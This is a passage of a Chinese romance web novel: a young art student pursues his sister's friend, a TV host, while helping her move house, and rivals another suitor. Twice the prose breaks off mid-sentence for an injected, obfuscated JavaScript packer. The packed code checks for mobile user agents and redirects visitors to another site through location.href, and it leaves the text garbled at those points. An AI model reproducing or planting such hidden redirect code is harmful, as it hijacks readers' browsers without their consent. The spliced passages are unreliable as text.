时间越早,付轻屿的镜头越少,几个主持人同台时,位置也越靠边。甚至很多镜头下,只是个背景板。还有些大家都不愿上的环节,付轻屿会顶上去。 画面中的付轻屿有些狼狈,嘴里幽默的话语不只是带动气氛,好像也在缓解自己的尴尬。 嘉宾的笑声,画外音配的大笑,显得刺耳。 画面光亮映在祁放身上,他一手撑脸,眉头微微皱着,眼角泪顺着鼻尖滴落。 想冲进画面,一人给上一脚。 他抿了把泪,继续翻找其他老节目。 没曾想给冯适翻了出来。 一场娱乐节目,付轻屿是靠边站的主持人,冯适为宣传电视剧而来,是个不起眼的男四,两人站在边边角角,看着一副不熟的样子。 付轻屿每次看冯适,眼睛里都闪着亮光,透着喜欢。 祁放眉头拧得更紧,“肯定是前男友,这时候应该还在没分开吧。” 他心里荡秋千,付轻屿一出境,荡得高高的。冯适出来,立即跳过,不看。看到两人同框,心荡到谷底,烦。 “切,一点都不般配。”祁放冷着脸喃喃,“一点都不。” 冯适长得很清秀,甚至可以说有点漂亮,个子不算太高,站在付轻屿身边不是很显眼。 画面中,冯适和付轻屿被点到一起玩游戏,这小子转头就把手伸了出去。 怎么?牵手牵惯了?! “靠。”祁放关了页面,烦躁地揉了揉头发,不想再看了。 他栽到床上,硬是跟被子打了一架才消停下来。 —— “祁放,你丫的,死哪去了,一条消息都不回。” 祁放迷迷瞪瞪地看了眼手机 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“嗯?!”杨灿明显是炸了,“真的假的?你整天画啊画的,我还以为你是那什么,叫什么来……纸性恋,我还以为你是纸性恋呢。你还能遇到喜欢的姑娘了?你快,快跟我说说。” 祁放坐起身,“你别学个词就乱用。没别的事?” 杨灿那边沉默了几秒,“该说的好像都说了,没别的事了。” 祁放:“挂了。” “哪的姑娘,哎!你丫的……” 祁放还没放下手机,杨灿‘问候’他的语音就发来了。 他没听,回了句:有时间再跟你说。 昨天被他踢到门口的拖鞋还在。 “姐!姐!姐!”祁放站在门口喊了几声。 颜泠一脸怨气地打开门,“叫叫叫!你要死啊。” 祁放笑了下,转头往厨房走,“怕你没醒,耽误事。” 颜泠带着一身起床气,看他哪哪都不顺眼,“穿的什么玩意,你都多大了,还皮卡丘?” 祁放拿了两瓶果汁,“姐,这是时尚,你不懂。穿衣自由,麻烦你尊重一下我自由的灵魂。” “屁!我真想夯死你。”颜泠穿好拖鞋,一把拿过果汁,“还有你这个头发,丑死了。” 祁放顺了把头发,“这是艺术,不懂欣赏。” “滚!” 颜泠刚想回房间,听门铃响了声。 祁放说:“我点了饺子,给你点的西葫芦三鲜。” 颜泠的起床气消了一点点,“行吧,还算点用。” 祁放喝了口果汁,拧开门,一手先伸了出去。 付轻屿嘴角挂着笑,顺势跟他握了下手,“打招呼这么正式,中午好啊,颜泠起了吗?” 只隔着半臂远,香气夹杂着青葡萄的味道,扑面而来,被握住的指尖已经没了知觉。祁放呆愣两秒,恋恋不舍地收回手,机械地“啊”了声,“刚起,你快进来。” 他一转身喊了嗓子,“颜泠!” “叫什么叫!又怎么了?!”颜泠一脸怒气,从房间走出来,见一只大黄耗子从客厅窜过去,付轻屿紧接着走进来。 “轻屿!”颜泠三两步走上前,挂到人身上,赖赖唧唧的,“你不是有钥匙吗?” “忘记带了。”付轻屿将果切放到桌上,“祁放怎么跑了?你们吵架了?” “没有,别管他。”颜泠拉着人坐下,“怎么这个点过来了?” 付轻屿:“租期到了,看了看房子。” 颜泠一下精神了,“你要在这边租房!” 付轻屿点头,“已经租了,就在隔壁单元。” “你干脆搬过来跟我住算了。”颜泠一挥手,“三室一厅两卫,够了。开学后,祁放也不常在。” 付轻屿双手抱住自己,“不行,我害怕你把人带回来。” “怎么可能?我绝对不会把男人带回来。” “谁要过来住?”祁放褪去皮卡丘装扮,换了身衣服,窜出来,跟付轻屿对上眼神,傻傻问了句,“要过来住吗?” “在隔壁单元。”付轻屿示意桌上的果切,“过来吃点吧。” 颜泠看他,“你那自由的灵魂呢?怎么,脸上挂不住了。” 被她一说,祁放脸上是真挂不住了,“没有,你快吃点水果吧。” 付轻屿疑惑,“什么自由的灵魂?” “他刚才那身黄色睡衣。” 付轻屿笑了下,“挺可爱的。” 祁放抬头瞄了她一眼,没接话。颜泠后面说的话,他都没进脑子。 挺可爱的! 夸他可爱! 等等,可爱??? …… 不管了,反正夸他了。 4. 04 颜泠晚上还有活动录制,付轻屿没待太久。 离开的时候,祁放非要送,她拦不住,两人一前一后出了门。 颜泠有一点说得没错,祁放打小就粘人,但不是那种撒泼打滚的胡闹。他喜欢谁,就爱凑到谁身边待着,也不烦人,而且小的时候嘴甜,说话好听,挺招人稀罕的。 长大之后,皮了,颜泠和祁放没少拌嘴玩。 祁放跟在付轻屿身边,离得不远不近,“是明天搬家吗?我去帮忙。” 他今天白色短袖配休闲短裤,挺清爽的穿搭,看着更显小了,跟个高中生一样。 还没上大学,也可以算是高中生。 付轻屿打算把祁放当自己弟弟带,不是指望他能做什么,做苦工就更免了。 搬家,完全能自己解决的事情,她也不习惯让人帮忙。 付轻屿按下电梯,委婉拒绝,“明天不搬,找了保洁打扫。东西不多,你就别跟着忙活了。我要是弄不过来,会找搬家公司。” 祁放没跟她对上脑电波,“我比较闲,就算有搬家公司,多个人,也轻松一些。是后天搬吗?” “还没确定好,后天,或者大后天吧。” 祁放跟着她进了电梯,“嗯,那等你确定好。” 怎么跟到电梯里来了,还要送?付轻屿看向他,转了个话题,“等两天我带你去拍试片。老莫看了你的照片,说让你过去试试。” 祁放眼里亮着光,声音轻快,“好。” 付轻屿抿了下嘴,她不想做个扫兴的人,但是祁放看起来有点高兴过头了。 试片的可能有十几甚至几十个人,品牌最后会用哪个,不是她们能预测的。 电梯开门的瞬间,付轻屿选择给他打个预防针,“不知道有多人试片,你提前做做心理准备,别怯场,跟平常一样就行。” 祁放跟着她走出电梯,开心地点着头,“知道啦,我好好准备。选不上也没关系,我再找其他工作。” 付轻屿笑了下,担心的,好像多余了。 两人今天也没说多少话,总感觉祁放跟她不生分了,甚至有点黏在她身后。 付轻屿停下脚步,转头看他。 祁放也停下步子,表情有些懵,“怎么了?” 付轻屿笑了下,“你再送,就要跟我回家了。要跟我回家吗?嗯?” 祁放一愣,拔腿就跑,“再见,路上慢点。”话还没说完,他人已经跑出去两米。 付轻屿被祁放的反应吓了跳,她也没说什么吓人的话啊?现在的小孩真是容易一惊一乍。 她转身没走两步,听身后喊了声,“轻屿!” 祁放跑出去很远,付轻屿再转身时,已经看不清他的五官表情。祁放伸手在耳边比了个打电话的手势,阳光洒在他头发上,映起金边,整个人都泛着暖调,“轻屿,确定好什么时候搬家,给我发消息,打电话也行,我去找你。” 付轻屿不知道怎么了,一时间没说上话来,对他点了点头。 祁放挥了挥手,“再见,我回去啦。”他跑了几步,又转过头来,“路上慢点。” 付轻屿没说话,对他挥手示意。直到一米九的大个窜进单元门,她才转身去开车。 “轻屿。” “轻屿姐。” 付轻屿自己喃喃了两遍,单念起来好像也没什么,听祁放叫起来就怪怪的。 这个怪劲,她仔细想了想,还真形容不上来,只能说很不适应。 怪就怪吧,一个称呼,再叫人家改口也挺奇怪的。 付轻屿回到家,先做好晚饭,又翻出个纪录片。 祁放:到家了吗? 半个小时前发的信息,付轻屿随手回了个表情:到了.jpg 祁放:我姐已经走了,你吃饭了吗? 付轻屿刚想回消息,一通电话横插进来,幕后工作的同事,她先接了。 停工两周的消息传得挺快,何雨萌对外说,付轻屿有急事处理,请了两周假。在这行待过一段时间的人都门清,跟付轻屿不错的,打电话或者发消息问候安慰了几句。 付轻屿其实没什么想倾诉的,想说的都跟颜泠说完了,面对同事的关切,感激肯定是有的,但是更像在处理工作。 挂断电话后,付轻屿收拾好厨房,准备音乐节目的主持稿,完全将祁放的消息忘在脑后了。 付轻屿把几位歌手的资料过了遍,拟好初稿,停下来休息时才看到手机消息。 祁放:是去吃饭了吗? 隔了近两个小时。 祁放:等待.jpg 接电话前的那条消息已经是三小时前了,付轻屿揉了揉太阳穴,完全忘了。 付轻屿:刚才有点事,吃了。 祁放回得快:嗯嗯。 付轻屿看了眼消息,标准的结束语,她刚想放下手机,祁放又发了条:是不是还在忙? 祁放:我打扰到你了吗? 付轻屿看着最后一条消息,没忍住笑了下。这个问题,还真的有人会问出来,也怪可爱的。 付轻屿:现在休息中。没有。 付轻屿也客套地问了句:吃饭了吗? 祁放:没有,想问你要不要一起吃饭的。我一会去吃,没有打扰到你就好。 祁放:定好什么时候搬家了吗?我去帮忙。 付轻屿无奈笑了下:你对搬家这件事真执着。 祁放:也不是,我想找你玩。 付轻屿:? 祁放:我在这还没什么朋友哈哈哈。 付轻屿想了下,祁放来江城有几天了,颜泠没时间带他逛,就算有时间,也不会带他出去。 祁放:你明天有什么事吗? 付轻屿:收拾东西。 祁放:我能去帮忙吗? 付轻屿觉得这孩子快在家憋疯了。她想了下,反正自己也没什么事,就当帮颜泠带一下。 付轻屿:下午我去接你。 祁放:我自己过去就可以,几点方便。 付轻屿:3点。 …… 下午三点,门铃比手机报时器还准。付轻屿绕过杂物去开门,心想:他不会是早就到了,在门口等着三点准时按门铃吧?一秒都不带差的。 付轻屿一开门,迎接她的是张笑脸,“一分不差。” 祁放举起手表,“我看着时间呢。” 付轻屿玩笑了句,“你还真在门前等着时间按门铃啊。” 祁放笑得有些傻气,“没等几分钟。” 付轻屿站在门口,他也没往屋内乱瞟,拎起手里的果切和两大杯西瓜汁,“我带了些吃的。” 付轻屿侧身让路,“进来吧。不用换鞋。” “好。”祁放环视一圈,客厅放着几个纸箱子,付轻屿已经收拾出一小部分。 两居室,很多东西都是付轻屿买的,装扮得很温馨。 付轻屿朝沙发的方向指了下,“随便坐就行。” 主持人的工作,每天都在跟不熟悉的人打交道,付轻屿已经习惯了,况且现在是休息时间,她对祁放的态度也更加松弛。 “好。”祁放像只认家的小狗,站在原地左右瞧着,尽力熟悉这里。 付轻屿从冰箱拿了些卤味,转过身时,祁放还在客厅中间杵着。 祁放的衣品很好,毕竟是做过平面模特的人,基础的黑体恤牛仔裤穿的最对味。 付轻屿在他面前走过,“一起吃点,中午吃饭了吗?” “没有,”祁放跟在她身后,补了句,“早饭吃得晚,中午不饿,就没有吃。” 其实,他在家搭配了半天衣服,怎么穿都不满意,耽误了饭点。 “一样。”付轻屿随意踢开一个空箱子,将东西放在茶几上,又给祁放丢了个坐垫,“将就一下吧,餐桌被我拆了。” 祁放将东西放下,又把一杯西瓜汁推到她面前,“我小时候在姥姥家,也经常围着茶几吃东西。” 付轻屿随口接了句,“颜泠也喜欢围着茶几吃饭。” “小时候,我俩经常围着茶几打架。”祁放摘下斜挎包,侧兜的电容笔滚到了沙发底下。 付轻屿戳开西瓜汁,见状想要起身,“我去拿个衣架,弄出来。” “不用,”祁放直接躺下,胳膊伸到沙发下,“够到了。” 不仅摸到了电容笔,还有个金属链。 祁放一起拿出来,银质金属链,一头是黑色皮质项圈,宽一指多,还刻了几个爱心,另一头是黑皮牵引手环。 狗绳? 这狗绳有点短吧?感觉还没有一米,岂不是拎着狗脖子走。 付轻屿回完信息,抬头看到他手里拿的东西,呛了口饮料。 “咳……咳咳。” 祁放缓过神来,急忙给她抵了两张纸巾,“我在沙发底下摸到了一根……狗绳?” 付轻屿伸手接过,都没敢看他,指了指卫生间的方向,“先去洗洗手吧。” 祁放没多想,乖乖起身去了。 付轻屿急忙将‘狗绳’藏起来,倒吸一口凉气。 颜泠送的东西,真是害人不浅! 付轻屿收到它时,已经和冯适分手两个月了,干净的,没用过。这也不是她的喜好。颜泠说买多了,随手改了个地址,送她了。 至于怎么在沙发底下,付轻屿还真想不起来了。 她三好姐姐的形象还没立起来呢,直接全盘崩了。 祁放应该不知道是什么吧? 付轻屿脑袋空了,只剩‘尴尬’两个大字。做主持都没遇到过如此尴尬的场面! 她呼了口气,自我安慰道:没事,没事,小场面…… 祁放踏进卫生间,差点一跟头栽在里面,狭小的空间里,全是付轻屿的味道。他扶着洗手台,呼吸有些不畅,腿还发软。 祁放打开水龙头,洗完手,捧了两把凉水冲脸,快速了走出去。 他没敢碰别的东西,没擦脸,湿漉漉地走了出来。 两个尴尬的人对上眼神,气氛瞬间不对劲了。 付轻屿之前把自己放到‘大人’的身份上,脑海里逐渐弱化了一个事实,祁放已经二十了!已经成年了!不是她潜意识里屁事不懂的小孩! 但是这方面的东西……男生不是晚熟吗? 付轻屿心死一半,还是笑着开口说:“先坐下吃点东西吧。” 祁放也跟卡壳了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966535|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,连着应了两声好。 他坐下,努力忘记刚才的味道,给自己找了个话题缓解尴尬,“你养过小狗吗?” 逮着问题不放了。付轻屿感觉自己像把羊肉串,被架在火上两面烤。 “没养过,之前有这个打算。” 祁放点头,“狗绳都买了,为什么没养?” 付轻屿看过去,祁放两只眼睛清澈得……有点呆,应该是真把它当成狗绳了。 付轻屿心里松一口气,淡淡地说了句,“怕养不好。” 祁放说:“养狗也不难,得多陪陪它。我姥姥之前养过,可粘人了……” 付轻屿听着祁放分享养狗经验,虽然两人想的狗,完全不是一个东西,但她还感觉挺有意思的。 有个话题说着,尴尬的那股劲很快就散了。 付轻屿有很多杯子、盘子和碗,一个都舍不得丢,搬家时最费劲的就是它们。 祁放干活麻利,跟在付轻屿身后,就没闲下来过。 两人忙活一下午,除了主卧和卫生间,全都装箱打包好。 晚饭,付轻屿带祁放吃的烤肉,她和颜泠严选的一家。 两人相处得异常舒服,除了下午的‘狗绳’,基本没有任何尴尬的点,就像两个早该相识的朋友。 付轻屿其实很挑朋友,她有自己的一套处事准则,一般人跟她相处都会非常舒服,除非她很讨厌那个人。 说好听点,她情商高。说不好听了,就是整天带着面具。 但是,能让她感到十分放松的人不多,颜泠居于首位,祁放也算一个。 想来也觉得神奇,跟一个小五岁的人,也就见了三面而已。 付轻屿送他回去时,聊起了漫画。 祁放喜欢随身带着小本子和笔,有的时候,也会带上平板和电容笔,就算只有手机的情况下,依旧会随地大小画。 付轻屿随口问道:“你喜欢那个画家,作品?” 祁放说了不少,直到听到一个熟悉的名字,付轻屿吓地点了脚刹车。 祁放吓一跳,“怎么了?” 付轻屿尽量维持着平静,“没事,脚滑了一下。” 祁放担心地看她,收拾半天,肯定累了,现在又要开车。“找个地方停下,歇会再走吧。” “没事,我刚才有点分心,”付轻屿忍不住问他,“你喜欢‘大绿豆’?第一篇画白菜大战胡萝卜那个?” 祁放一愣,不可置信地看向付轻屿,“你知道她!” “……算是吧。” 付轻屿不仅知道,她就是‘大绿豆’。 “我特别喜欢,不是特别,是超级无敌喜欢她的《闲梦记》,可惜她很早就不画了。我看的第一篇漫画就是‘大绿豆’画的,当时在贴吧免费连载,她还是手画拍照发出来的。” 付轻屿回想了下,记忆有些久远,当时高三,不让带手机,只能在稿纸上画。 付轻屿小时候学过几年画画,也没有很系统,只记得老师说她很有天赋。 ‘很有天赋’这句话经常能在老师嘴里听到,兴趣班的小朋友几乎都听过,付轻屿并没当回事。 她爸妈交学费并不是因为什么天赋,而是没时间管她,又觉得孩子要德智体美全方面发展。 付轻屿的兴趣班也不止画画一个,补习班更是雷打不动,从小学就开始了。 可惜她没遗传到爸妈的优秀基因,一路补上来的文化课,也就那样。 “……轻屿。” 付轻屿回过神,嗯了声。 祁放依旧兴致勃勃,“她的画风很特别,剧情也超有意思,我学画画,很大程度都是受她影响。” 受她影响?付轻屿惶恐,自家瞎画着玩的,别误人子弟就行。 祁放问:“你看过她哪部漫画?” 除了《闲梦记》,付轻屿还画过两个短漫,纯纯无厘头搞笑,又夹杂点热血。 “……都看过。” “都看过!” 付轻屿看祁放一脸激动,没想到时隔这么多年,竟然还有人喜欢她瞎画的东西。 面对祁放这个小粉丝,她没想表明身份,一时间不知道说些什么好了。 “没想到你会知道‘大绿豆’,”祁放高兴上头,“你最喜欢的是哪一篇?” 付轻屿思忖片刻,“都差不多,‘大绿豆’的基本功其实不算好,有些分镜也挺乱的,情节更是有点随心所欲了,你不要被她带偏就好。” 两三句话下去,给人浇了盆冷水,祁放瞬间安静不少。 付轻屿如实评价自己,她今天放松过头了,没能考虑到祁放的心情,眼看他耷拉着脑袋,蔫了。 车内沉默片刻,祁放出声说:“还好了,不会。” 付轻屿想打个圆场,脑子转了圈,感觉说什么都显得很刻意。这个临场反应能力,绝对不是她的真实水平啊! 沉默了四五分钟,付轻屿开车拐进小区,也没能憋出句话来。 “我先回去了,路上慢点。”祁放笑着说的,笑得有点不开心。 付轻屿点点头,没多说。从后视镜里看,祁放站在原地目送了一会,才低着头往回走。 这下真是全崩了。 5. 05 付轻屿到家后,收到祁放一条消息,问她到没到家。她回复后,祁放又回了条,“嗯嗯好。” 手机彻底安静下来。 付轻屿很喜欢独处,工作微信一关,基本上没什么消息。平常颜泠的消息多点,她这两天忙,祁放给补上了。 眼下看来,祁放一时半会儿不可能找她了。 关于‘大绿豆’这事,有个合适的机会再聊,没有的话,付轻屿打算就这样。 她简单洗漱,收拾好浴室的东西,看着大箱小箱,规划着明天怎么搬。 “叮咚——” 第二天门铃响时,付轻屿刚洗漱完,随后手机也响了。她脸都没擦,接起电话,是外卖。 付轻屿接过早饭,刚想关门,余光扫到外卖员身后还有个人。 祁放脸上挂着笑,拎起手里的东西举了举,“早啊,我带了早饭。” 付轻屿愣了下,祁放好像说过今天会来。 昨天那事,可以说是不欢而散吧。她没想到祁放还会来,并且带着个傻傻的笑,看着跟个没事人一样。 祁放看她愣住,把脸往前凑了下,“嘿,付轻屿,我带了早饭哎。” 付轻屿面上笑着,手里慌乱地推开门,让出路来,“挺早的。” “还好了。”祁放十分自来熟地说,“今天也不用换鞋吗?” 付轻屿说:“不用。” 祁放直奔茶几过去,放好早饭,“来之前跟我姐说了下,她说你爱吃这家生煎,我就带了些。” 付轻屿指了下手里的外卖,“确实爱吃。” 祁放将背包放下,“我能先去……去厨房洗个手吗?” “去吧。” 付轻屿拆开外卖,又在茶几旁放好两个垫子,脑袋还是有些懵。 祁放洗完手,坐到她旁边,将自己买来的煎包推到她面前,顺手接下外卖,“你吃这个,外卖闷过,不好吃。” 付轻屿点了点头,心里摸不透他的脑回路,又感慨祁放太自来熟。 她试探道:“这几天脑袋有点混乱,都忘记你要来了。” 祁放看她一眼,只是笑了笑,接着低头吃饭。 付轻屿心一横,打算直接说开,“昨天我说话有些过了,不该随意说你喜欢的作品,别往心里去。” 这是在关心他?! 祁放心里一紧,抬头看她,“昨天确实有点不开心。” 付轻屿愣了,这么直接吗?毫不掩饰,就水灵灵地说出来了?这姐弟两的性子,还真是一样直啊。 他紧接着说:“我回去想了想,其实也没什么,每个人的看法不一样。你没觉得我莫名奇妙就好,因为‘大绿豆’的漫画很冷门,好不容易碰到有人知道,我有些兴奋过头了。” 付轻屿听完,总觉得心里更不是滋味,面上还是笑了笑,“那就好。” 祁放看着她,“你是在关心我?” 付轻屿觉得自己捡来的‘亲表弟’好像有些变味,“啊?毕竟是我讲话有点重,心里有点过意不去了。” 祁放笑着‘嗷’了声,又催她快吃饭。 付轻屿看着祁放,越看越觉得不对味。 难道他有别的心思,不能吧? 他们这个年纪的小男生,喜欢一个人,应该都比较青涩。看祁放自来熟的样子,不像。 付轻屿将这些不切实际的想法踢出脑袋。 饭吃到一半,门铃响了。付轻屿跟祁放对视一眼,“你点其他东西了?” 祁放吃着东西,摇了摇头,没说话。 付轻屿有些不太好的预感,起身去开门。 “轻屿,我们来帮忙啦。” 打招呼的女生是她的同事,妆造组的许梦。两人工作中接触得多,关系还算不错。 许梦身后还站了个男生,摄影组的赵烈,长相憨厚,带着一副半框眼镜,笑着对付轻屿点了下头。 付轻屿看到赵烈的瞬间就明白了。 赵烈前一阵明着暗着对她示好,但是没把话说到明面上,付轻屿也就没点破。 这是托许梦过来,趁这个机会牵桥搭线的。 付轻屿面具一带,露出些惊讶的神色,笑着对许梦说:“你怎么真来了?还让赵烈跟着跑一趟,不是说不用麻烦嘛。” “哎呀,没事,反正今天也没有拍摄,来帮帮忙嘛。”许梦说着,还指了下身后人,“我还叫了个帮手过来。” 付轻屿心里叹了口气,她真的不需要这个帮手。也好,趁这个机会点明,省的拉扯。 “进来坐吧,家里挺乱的,你们别介意。” 许梦和赵烈进门时,祁放早已站起来,三人大眼瞪小眼看了下。 付轻屿急忙跟祁放介绍,“这两位是我的同事。”又反过来介绍,“这是我朋友的弟弟。” 祁放紧跟了句,“没小几岁。” 许梦看到祁放,不夸张地说,眼睛有点直了。怪不得赵烈追了这么久,一点动静都没有。付轻屿身边有这么个帅哥,将整体选拔标准都拉高了,哪还看得上别的。 许梦拉过付轻屿,小声说:“什么情况?” 付轻屿一头雾水,“什么什么情况?” 许梦眼神示意她,“你和这弟弟,什么情况?处着呢?” “瞎说什么?”付轻屿见赵烈过来,本来就有点头疼,听许梦一说,更疼了,“都说了,朋友家的弟弟,别瞎说。” 许梦认真地看着她,“真没意思?” 付轻屿坚定地摇头。 许梦笑了下,“是我的菜,微信推我呗。” 付轻屿吓一激灵,许梦比她大三岁,跟祁放差得就更大了,“他才十九,你疯了。” 许梦一听,晃着她手臂,“更是我的菜了,轻屿,推我吧。你知道的,我都两个月没谈了。” 付轻屿无奈撇了下嘴,试图唤醒一个花心女人的良知,“他还小啊!我做不到,你自己看着办吧。” “那我自己看着办了。” 付轻屿和许梦窃窃私语的几分钟,旁边两位眼神厮杀了不下三轮。 付轻屿客套地问:“你们吃了吗?” 许梦说:“你知道,我不爱吃早饭。” 赵烈说:“我已经吃过了。” 眼下场面有些混乱,付轻屿使劲抓住搬家这条线,“那我们开始搬东西吧。” 祁放看向她,“吃饱了吗?” 不管饱没饱,付轻屿现在都没什么胃口,万分后悔跟许梦说了搬家的事。她点了下头,“你吃吧,剩下的放下冰箱,一会下去时,带给楼下小花狗。” “我也吃饱了,那我收拾了。”祁放说着,手里已经开始行动起来。 他昨天来的时候,已经记下客厅格局,现在就跟个男主人一样,熟悉着这里的一切,不急不慢地归置东西。 付轻屿原本打算来回跑两趟,眼下两个车,一趟就差不多了。 祁放一直跟在付轻屿身边,占好地,不让赵烈靠近。 付轻屿没察觉到异样,昨天两人收拾了半天东西,她已经习惯祁放跟在身边转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966536|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠。 两人间不远不近,也容不下第三个人,对于付轻屿来说,是个非常舒服的相处距离。 许梦跟祁放搭上几句话,收到的回复都很有礼貌,她是越看越喜欢。 赵烈毕竟是来帮忙的,付轻屿也跟他闲聊了两句。 祁放看两人说笑,嘴一撇,心里不爽。 虽然不爽,他也就盯了会,没打扰两人说话。 祁放不太会追人,也不知道怎么追,摸不准两人间的距离该保持多远,什么时候能进一步。 以前上学的时候,也有女生追过他,都是递给情书,送吃的。也有胆子大一点的,会直接拦下他,当面说。 杨灿的前女友,差不多也是这样追到的。两人手机上聊了很久,杨灿一手狗爬字,认认真真写了封情书,人家女生才同意的。 祁放都怀疑是杨灿撒泼打滚求来的女朋友。 眼下情况不同,他喜欢的女生已经工作了,各方面都很优秀,不能和上学的时候一样,总感觉还要更成熟些。 祁放初步计划就是摸清付轻屿的喜好,他不想问颜泠。一是颜泠知道后,肯定会耍他,二是他喜欢找付轻屿,喜欢她身边转悠。 面对赵烈这个棘手的问题,他更不知道怎么办了,又很烦。 实在没招,祁放给杨灿发了条消息,“要是你女朋友身边出现了另一个追求者,那你怎么办?” 杨灿秒回:削他!还怎么办?给他凉拌! 祁放:如果还不是女朋友,那怎么办? 杨灿:…… 杨灿:你丫的,话能不能说清楚了。不是女朋友,真没啥法子了,只能跟他抢他啊! 杨灿:抢啊大兄弟,这还等啥呢。 问他还不如问搜索框。 祁放收起手机,没再管‘噔噔噔’的消息,杨灿没啥办法,剩下的消息多半是来打探八卦。 他能不知道抢! 祁放给自己抢了个副驾驶的位置,后来看赵烈开另一辆车,又感觉好像啥也没抢到,还赔了。 他转头看向付轻屿,“我科二过了,寒假回去考完科三科四,就有驾照了。” 付轻屿听得云里雾里,不知道他怎么突然想到驾照上去了,“挺好的,祝你科三科四一把过。” 祁放小声道:“买车可能还得等等。” 付轻屿笑了下,“你着什么急,先好好享受大学生活。” 祁放偏头看向车窗外,“就是有点着急。” 付轻屿没说话,小声叹了口气,想着中午请许梦和赵烈一起吃个饭。 怎么跟赵烈点明,也是个难题。 祁放转头,看她眉头微微压下,“你怎么了?怎么不开心了?” 付轻屿一惊,心里惊叹祁放的侦查能力。她能保证自己绝对没有拉下脸,最多有点疲态。 她笑着说,“没事,搬了这么多东西,有点累。” “嗷,”祁放转头看向车外,“不像是累。” 付轻屿扬了下嘴角,学着他的语气,“嗷,那像是什么?” 祁放依旧看着车外,“感觉你有点心烦。” 看得还挺准,付轻屿问:“你们这个年纪,都是有什么说什么?” 祁放没答这话,反过来问她,“是因为赵烈吗?” 不知道是被他带的,还是两人相处实在太放松了,付轻屿直截了当地说,“是。” “嗯。”祁放拿不准付轻屿心烦什么,反正她心里想的是别人。他将头偏向车窗,脑袋上顶着个‘烦’。 6. 06 付轻屿不喜欢房子太大太空,还是租的两居室,选了个采光好的。 次卧打算改成舒适的办公场所,她习惯在家里处理工作稿件,画些服装设计图,又不喜欢主卧沾染上工作气息。 祁放在几个空荡荡的房间转了圈,跟认家似的。 四人来回两趟,把东西全部搬上楼,已经到中午饭点,稍微歇会,付轻屿便张罗着一起吃饭。 赵烈说:“万福路新开了家烤鱼,你们吃没吃过,听说挺火的。这个点过去,正好不用排队。” 吃什么都提前调查好了,付轻屿看向透露信息的叛徒。许梦心虚地四处乱看,就是不跟她对视。 “我没什么问题。”付轻屿看向祁放,“能吃鱼吗?会不会过敏?” 付轻屿一问,三道目光都落到祁放身上,他摇头说:“不过敏,能吃。” 赵烈看着付轻屿,询问意向,“那就去吃这个?” “走吧,”付轻屿说,“再晚赶不上饭了。” 下楼时,许梦问了句开几辆车过去。 付轻屿瞬间明白她的意图,急忙说:“开两个车去吧,我下午还有别的事,犒劳完你们,可就不奉陪了。” 她看向赵烈,笑着说:“辛苦开车过去。” 赵烈笑得有点僵,“没事,哪有什么辛苦的……” 他还想再说,被付轻屿打断:“你在前面带路吧,万福路那边我不太熟。” 赵烈点头应下。 付轻屿坐到车上才松一口气,祁放趁着系安全带的空隙看她,小心询问,“下午有什么事?” 付轻屿启动车,脑海里已经浮现出等会饭桌上的混乱画面,随口回了句,“没想好啊。” 祁放见她不愿多说,心里也空落落的,没再问。 下车时,付轻屿拽着祁放衣服,往自己身边拉了下,“一会坐在我身边,别听许梦的。” 祁放目光落在付轻屿手上,见她拽着自己衣服,瞬间精神抖擞,跟只开了屏的花孔雀,身板都挺直了,“嗯嗯,我听你的。” 祁放答应得快,并没多想‘别听许梦的’这句话,直到饭桌前,许梦想要拉着他坐下,才意识到哪里好像不对劲。 付轻屿这个同事好像挺喜欢他的? 祁放直接拒绝,“不了,我想和轻屿坐。”他嘴里说着,人已经坐到付轻屿身边。 许梦只当祁放性格慢热,笑着坐到了人对面,“什么啊?还认生呀。” 祁放客气回答,“没有。” 付轻屿和赵烈面对面坐着,除了点菜,谁也没多说。身边两人一问一答,倒是没停嘴。 “刚高中毕业啊,”许梦看着祁放,小模样确实嫩,“谈过几个女朋友?” 祁放语气淡淡的,“没谈过。” 许梦笑了下,明显是不信,“害怕轻屿听去,回头跟你姐告状啊?” 祁放一耸肩,“真没谈过。” 许梦半信半疑地看向付轻屿,“你信吗?” 付轻屿还真没信,祁放这条件,要说一个都没谈过,有点扯。她没打算跟着许梦一起闹,“他说没有就是没有,你别闹他。” 祁放以为付轻屿没信,转身看她,特认真地说:“真没有。” 付轻屿还没开口,许梦先笑出了声,“行了,她不跟你姐姐告状,别害怕。” 祁放不想跟许梦多说,没再吭声,拿起手机给付轻屿发了条消息:我真没谈过! 付轻屿没看手机,跟赵烈扯了几句工作上的事。 祁放心里只剩不爽,拿了几个服务员提前上的小零食吃。许梦跟他说话,他就答两句。许梦不开口,他就闷着头吃零食。 许梦撩小男生的话一套又一套,祁放都没什么兴趣听,倒也礼貌地敷衍了几句。 两条鱼上好,祁放故意去夹付轻屿那边的,生怕漏掉她和赵烈说了什么。 付轻屿以为他喜欢吃,给他拨了一大块放碗里。 祁放只好消停了会。 “你是漫画专业的啊,”许梦抓到机会,“我特别喜欢看漫画,这样,我们加个微信,有什么好看的漫画,可以一起追啊。” 祁放:“不想加。” 说话是真直接啊。付轻屿转头看过去,祁放表情淡淡的,在他脸上不常见。 祁放平常一副笑嘻嘻的模样,付轻屿甚至感觉他这是冷脸了。 “他年纪小,小孩嘛,说话直,都觉得这样比较酷。”付轻屿在中间打了个圆场。 